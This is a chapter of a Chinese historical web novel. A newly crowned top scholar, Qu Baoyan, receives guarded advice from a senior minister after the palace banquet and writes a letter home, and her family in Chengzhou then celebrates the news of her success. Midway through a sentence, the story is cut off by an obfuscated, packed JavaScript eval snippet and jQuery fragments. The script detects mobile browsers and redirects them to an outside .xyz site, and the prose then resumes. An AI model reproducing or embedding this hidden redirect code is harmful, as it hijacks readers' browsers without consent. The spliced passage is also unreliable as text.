两道身影行至廊下，琼林灯火在朱瓦间轻轻摇曳，宫墙上树影摇动，檐下风过，带起些许酒香与花气。


    苏瑛走在前侧半步，脚步不快，语声清朗道：“不必紧张，今日这般场合，方才那几位，都是惯会说笑的。所说之话，也不必尽数当真。”


    瞿宝砚跟在后侧，闻言微一拱手：“多谢苏大人解围。宝砚初登宝殿，尚有诸多不谙，承蒙大人指点。”


    苏瑛偏头看她一眼，神色淡淡：“指点不敢当。你在席上的样子，也算进退得当，不失分寸。”她轻笑，“倒不像是个‘诸多不谙’的。”


    瞿宝砚语气温平：“晚辈寒窗出身，历练尚浅，若有不妥之处，还请大人不吝明言。”


    见瞿宝砚一本正经的模样，苏瑛轻轻一笑：“不妥倒没有，只是……你刚才那一拱手，敬得是吴大人，回的却是韩丞相。”


    “难能你心里有本账，记得清楚。”


    瞿宝砚闻言，目光微动，旋即坦然应道：“心里若无账，难免给人记账。”


    苏瑛微微颔首，忽而又开口：“你是澄州出身？”


    瞿宝砚：“是。”


    苏瑛点头：“家母祖籍也是澄州，澄州一带，民风朴实，读书人多有气节。你身上倒也有几分那股子倔气。”


    她转眸看她，神情温和，却带着一抹意味：“只是那股子气节，若不懂得收与放，容易变成桀骜。”


    瞿宝砚垂眸，拱手：“谨记大人教诲。”


    苏瑛略一点头，语气缓缓：“你是状元，殿试之后便是点旨下官，礼部会送上初调名册，几日后吏部也要给出调令。我身为吏部尚书，照规矩不该私言，但今夜宴后，怕是有人会先一步‘拜访’你。”


    “你的策论我看过。策论虽为一纸文章，但字里行间，总藏着人心气。你笔下有骨，也有分寸。”


    “朝堂的水，静时如镜，动时如潮。你才入水，要学会先看风，后落脚。水里伸来的手，不都是救人的。”


    说完这句，她不再多言，转身离去，只留一句话：


    “风未定时，莫轻握来手。”


    这番话息如烟，即刻散入风中。


    瞿宝砚立在廊下，背后是渐远的脚步声，前方是灯火微晃的空阶。


    没有了殿前的酒器喧嚣，也没了一众人举杯时的掌声、恭维与暗语。


    此时此刻，四周寂静无比。


    风吹过廊角，吹动石栏上几片落花，簌簌而下，落在她足边。


    她却没有动。


    方才脑中还浮动不休的言辞、神色、目光，仿佛在这一刻被什么轻轻理顺了。


    朝堂不是“谁抛绣球、谁接得住”的舞台，而是水里有势、风中有向的地方。


    苏瑛刚才不过寥寥数语，却像是将这水的形状、风的脉络，指给了她看。


    瞿宝砚低头，手中仍握着吴致安方才递来的玉盏，未曾饮尽。


    她抬手看了看盏中残酒，片刻后，轻轻一倾——随风倒入了廊下落花之间。


    ·


    琼林宴散后，夜色沉沉。宫灯自朱阙散落如雨，曲水流觞，终归寂寥。


    瞿宝砚回了云台小院，宝桃儿便迎了上来。


    “小姐，您回来啦。”宝桃儿笑脸上前，自家小姐身上衣袍仍带着宫中灯香，她正要开口问今夜琼林宴上是何模样，却见宝砚眉眼间多了一丝说不出的疲色，原本高扬的声调瞬间压低下来。


    宝桃儿轻手接过外袍，见那进屋比往日滞了几分的步子，心头一紧。


    她从小跟随在侧，再知道不过：自家小姐纵然日日读书伏案，也从不显疲态，心志如雪、眼神如炬。


    但今夜不同——那种倦，不止是身倦。


    她什么都没多问，只忙不迭打来热水，拧了帕子给瞿宝砚敷着，又悄声问道：“小姐，这水烫吗？要我再打些凉水来？”


    瞿宝砚摇摇头，坐在塌上轻按额角：“不必，这样正好。”


    宝桃儿动作更加轻了些，替她净面解发、更衣歇息，一切都比平日更安静一分。


    等灯芯挑好，火炉添了两块炭，屋里暖气渐腾，宝桃儿才小声问：“小姐，要歇下了吗？”


    瞿宝砚静了片刻，道：“帮我研上墨，我给家里再写封信。”


    瞿宝砚披着外袍，从塌上起身又在案前坐了下来。


    窗外有风吹过竹影，墙角炉火正温。


    她展平纸页，提笔蘸墨，落款题头：


    【家中亲启】。


    略一思索，笔下便缓缓写道：


    “家严、家慈、太爷安：


    女儿宝砚，拜上。


    京城春寒料峭，琼林宴方散。今夜灯火繁盛，衣香鬓影，一如旧时文人笔下繁华。宫中设宴，群贤毕至，名列榜中者咸集一堂，百官亲临，言笑周旋，诸多贵人出言相问。


    而女儿立于席间，虽为状元，心中却时时思及家中。


    忆及昔日檐下梅香，寒窗苦读，得父亲时时指点，母亲日日照料；太爷曾言道“此砚他日必登金榜”——今之所获，实不敢忘根本。


    昨日入朝觐圣，承恩首点，圣上亲阅卷末，言策论深远有识。诸座师亦有所赞誉。只是官途初始，万事未定，女儿知前路难行，更需谨慎。


    家中诸事如何？弟妹功课可勤？春衣添否？愿父母安康，太爷勿劳心，姑母安和，待女儿任命稍定，必具折归家探望，略尽孝敬。


    此函草草，不足一二，权作报平安之用。家中若得此信，烦请回书一封，女儿心念常存。


    此致敬颂


    康安


    宝砚拜笔”


    她写完后，将信纸对折封入信封，又加一小函，用的是日常的家常字眼，写给弟弟妹妹，说：


    “灯节时你们可去放灯，别只顾贪吃，春寒记得添衣，照拂好自己。大姐在京，一切尚好。等春草长些时候，便能见面了。”


    写罢，她将信封叠好，放入行囊。


    又靠在椅上轻轻阖上了眼，唇边像是有一点笑意。


    “歇息吧。”


    ·


    京中春宴方散，风华犹沸，而千里之外，澄州也已入春。


    江南春信早至，澄州初春时节，满城杨柳新绿，溪畔迎春探枝。小巷深处，晨雾尚未褪尽，墨瓦青砖间浮起一层薄光，微风一过，院中碧树轻轻颤着花影。


    瞿府静谧如常。


    厅前的竹廊下，老太爷斜倚藤椅闭目养神，膝上覆着一条软毯。身边炭盆尚暖，院中春雀啁啾。


    书房内，瞿淮安正端坐书桌前，皱着眉临帖；而瞿佑苓则在一旁嘴里念着诗，念得断断续续，手里还偷偷攥了块蜜饯。


    兄妹俩时不时互相瞄一眼用眼神打架，却都没敢太放肆，怕吵着了老太爷。


    铺子那边照例是最忙的。


    瞿老爷今日一早就去了前厅与伙计们核账，背手转着算盘珠子，眉头时紧时松；瞿秋晚一身素青对襟衣，手里拿着成色细致的绸样，正在跟门口的小掌柜核着料色分单，说话不多，小掌柜却不敢怠慢，一笔笔照她吩咐记得仔细。


    府内东厢房，瞿夫人又推开了那间许久无人居住的房门。


    阳光斜斜地照进来，纱帐早已收起，一尘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042152|178823||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不染的案几上笔架仍旧挂着一支笔，砚台空空，只有干裂的墨痕。


    她抬手拂过那柄熟悉的椅背，似仍能听见女儿倚案读书时的细语朗声。


    她轻轻叹了口气，打开柜门，抽出一只旧匣子，里面叠着几件放旧的澄色春衫。她一件一件抖了开来，指尖摩挲着衣角，眼神微微泛红。


    “我的儿啊……”


    午时方过，一家人刚用过午膳。


    老太爷坐在主位，望着院外，指头在膝上一下一下掐着：“算着时辰，也该到了。”


    一旁饮茶的瞿老爷听的云里雾里：“什么也该到了？”


    巷角一阵尘土飞扬：“快让开快让开——京里快马传书！”


    瞿老爷话音刚落，忽听前门处传来一阵急促马蹄，蹄声未至，人声先扬。


    “喜报——京中快报——状元报喜——！”


    瞿府门外，门房小厮正倚门晒着太阳，听得这声猛然蹿起。


    只见一骑快马飞尘而来，马上人衣摆飞扬，怀中紧紧抱着封印漆红的大信函，直奔瞿家门口，一勒缰绳，马蹄高扬，尘土飞起——


    “澄州贡士瞿宝砚，今科一甲一名，金榜状元！”


    小厮一呆。


    快马传信人早已亮出腰牌，唰地一抖信函封角：“礼部诏告，敕书尚在后头——这是急先报，奉旨传至各地父母官家！”


    小厮这才回过神来，声嘶力竭大叫起来：


    “小姐——小姐中状元啦——！！”


    “咱们小姐中状元了！”


    “快——快请老爷夫人——”


    这一下，全府上下炸了锅。


    厅中，老太爷正要起身，被外头那声喊“小姐中状元啦——！”震得一怔，手中拐杖“咚”地一声落地，人却先起了身。


    他浑浊的老眼猛地亮了，转身拉住身边瞿老爷的袖子：“可听见了？”


    瞿老爷脸色亦是一懵，几乎不可置信：“爹，宝，宝砚她——她真中了？”


    说话间，信使已大步入厅，躬身奉上传报的急函，沉声道：


    “今科殿试金榜初传，澄州贡士，瞿宝砚，中一甲第一名，状元之首！奉礼部之命，特快马报家中双亲。”


    “恭喜府上！”


    瞿夫人“哎哟”一声，抚着胸口掩面而泣，颤声道：“我的阿双，中了状元啊……状元！”


    身旁瞿姑姑抚上瞿夫人的背，眼里也含了热泪，笑道：“我心里也总觉着该有这么一天，这不是来了。”


    瞿夫人点点头，又转身吩咐小丫鬟：“快，快把宝砚房里的香囊拿来，我再给她写封信，告诉她家里人都好，叫她千万别累着自己！”


    瞿老爷回神不过片刻，立刻稳住神色，吩咐道：“来人！快请信使大人里屋奉茶，设座休息！”


    一边说着，一边亲自上前，拱手躬身：“使节大人一路辛苦，快请屋里歇歇脚。”


    一旁的瞿淮安和瞿佑苓早已手舞足蹈，差点抱在一起。


    “大姐是状元！状元！”两人难得喊得如此一致，嗓音都变了调。


    正高兴着，瞿佑苓却突然嘴角一瘪，下一秒嚎啕大哭起来：“呜呜呜，我想大姐了，我想大姐了——”


    瞿淮安猝不及防：“唉唉唉，你别哭啊——怎么突然就哭了？！”


    老太爷坐回主位，大掌拍上扶手，沉声道：“好！好哇！我瞿家出了个状元！！！”


    “快！开我的那坛状元红！”说着却也险些老泪纵横。


    他望着府中笑语盈庭，抚须良久，方叹息：


    “宝砚，宝砚啊——”